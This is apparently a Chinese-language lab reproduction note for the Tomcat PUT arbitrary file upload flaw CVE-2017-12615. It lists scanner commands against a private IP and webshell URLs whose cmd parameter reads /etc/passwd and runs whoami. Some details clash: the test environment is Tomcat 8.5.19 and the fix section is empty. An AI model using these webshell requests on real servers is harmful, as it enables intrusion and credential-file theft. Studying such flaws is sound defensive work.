apache-tomcat_7.0.0 - 7.0.81_file-write_CVE-2017-12615

Apache-Tomcat_7.0.0 - 7.0.81_PUT方法任意写文件漏洞_CVE-2017-12615

说明	内容
漏洞编号	CVE-2017-12615
漏洞名称	Tomcat PUT方法任意写文件漏洞
漏洞评级	高危
影响范围	Apache Tomcat 7.0.0 - 7.0.81
漏洞描述	配置不当，导致可以使用PUT方法上传任意文件
修复方案	升级

漏洞描述

当 Tomcat 运行在 Windows 主机上，且启用了 HTTP PUT 请求方法（例如，将 readonly 初始化参数由默认值设置为 false），攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后，JSP 文件中的代码将能被服务器执行。

漏洞的产生是由于配置不当（非默认配置），将配置文件（conf/web.xml）中的readonly设置为了false，导致可以使用PUT方法上传任意文件，但限制了jsp后缀，不过对于不同平台有多种绕过方法

漏洞等级

高危

影响版本

• Apache Tomcat 7.0.0 - 7.0.81

漏洞复现

基础环境

组件	版本
OS	kali-linux
Web Server	chrome
Apache Tomcat	8.5.19

漏洞扫描

可以使用nacs进行扫描

sudo ./nacs -h 192.168.117.163 -pa 80

可以使用nuclei进行扫描

./nuclei -u 192.168.117.163

漏洞验证

进入nuclei所给的漏洞地址

http://192.168.117.163/poc.jsp?cmd=cat+%2Fetc%2Fpasswd

深度利用

命令执行

对url进行修改即可达到命令执行，如

http://192.168.117.163/poc.jsp?cmd=whoami

漏洞挖掘

网络测绘

Apache-tomcat 7.0.0-7.0.81

修复建议

无